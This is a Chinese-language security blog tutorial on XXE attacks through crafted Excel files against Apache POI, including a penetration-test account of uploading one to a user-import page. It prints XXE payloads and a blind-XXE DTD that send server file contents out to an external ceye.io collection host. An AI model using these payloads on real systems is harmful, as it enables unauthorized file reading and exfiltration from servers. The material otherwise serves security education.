0x00 前言
XML外部实体注入攻击简称XXE,我们可以基于此来对服务器信息进行探测和获取。libxml 2.9.0以后,默认不解析外部实体(与php版本无关),导致XXE漏洞逐渐消亡,但这对于旧系统来说依然是比较常见的。
对于基于HTTP API发起XXE攻击是网上较为常见的攻击方式,这里来谈一谈利用EXCEL进行XXE攻击。
0x01 为什么可以这么做
Microsoft Office从2007版本引入了新的开放的XML文件格式,新的XML文件格式基于压缩的ZIP文件格式规范,由许多部分组成。我们可以将其解压缩到特定的文件夹中来查看其包含的文件夹和文件,可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。
0x02 背景信息
下面介绍相关的背景信息
CVE-2014-3529
Apache POI 是 Apache 软件基金会的开源项目,POI 提供 API 接口给 Java 程序对 Microsoft office 格式文档读写能力。Apache POI 3.10-FINAL及以前版本被发现允许远程攻击者通过注入XML外部实体访问外部实体资源或者读取任意文件。
影响范围
poi-ooxml-3.10-FINAL.jar及以下版本
漏洞位置
[Content-Types].xml
漏洞利用
1.新建xxe.xlsx并对其进行解压缩(在WSL中执行)
1 | unzip ../xxe.xlsx #解压缩xxe.xlsx文件 |
得到
1 | . |
2.使用文本编辑器在[Content_Types].xml处注入外部实体。
3.将其重新打包成xlsx即可构造好漏洞POC
1 | zip -r xxe.xlsx * |
CVE-2017-5644
同上,不在赘述
影响范围
poi-ooxml-3.15.jar 及以下版本
漏洞位置
xl/workbook.xml
漏洞利用
步骤基本同上,这次输入外部实体的地方是xl/workbook.xml处
事实上不单单上述的几个,比如xlsx-streamer.jar等第三方库也会有XXE漏洞的存在
0x03 实际利用
某次实际渗透过程中,遇到可上传excel地址如下
http://xx.xx.xx.xx/system/user/importExcel.html
该页面实现了利用excel导入用户通讯录等的功能
因为一些原因,丢失了部分截图,因此涉及到的页面截图不太多
漏洞触发点在xl/workbook.xml处
在2、3行处插入外部实体
1 | <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://xxx.ceye.io"> ]> |
这里是让服务器解析器请求我们接收平台URL的内容,从而根据接收平台收到的内容来确定漏洞是否存在。
将修改后的文件重新打包
此时上一级目录会生成一个名叫xxe.xlsx的文件,这个文件直接打开是会报错的。不过没关系,把生成好的文件直接上传到服务器
可以看到,服务器抛出异常,在接收平台可以接收到远程服务器发起的请求
此时可确认XXE漏洞存在
0x04 其他利用姿势
XML解析器解析外部实体时支持多种协议:
libxml2 | PHP | Java | .NET |
---|---|---|---|
file | file | file | file |
http | http | http | http |
ftp | ftp | ftp | ftp |
php | https | https | |
compress.zlib | jar | ||
data | netdoc | ||
glob | mailto | ||
phar | gopher |
比如可以使用file协议来读取服务器本地文件内容、http协议可以用于获取Web源码等信息。
利用excel进行XXE获取的信息,一般是属于无回显的blind-XXE,此时如果想进一步利用该漏洞去获取更多的信息的话,这个时候就需要引入外部实体
以PHP为例,可将文件内容发送到远程服务器
远程服务器的dtd内容为
1 | <!ENTITY % start "<!ENTITY % send SYSTEM 'http://xxxx.ceye.io/?%file;'>"> |
发送的poc为
1 | <?xml version="1.0" ?> |
- 本文作者: LLMF
- 本文链接: http://ll-mf.github.io/2019-10-15-利用EXCEL进行XXE攻击.html
- 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!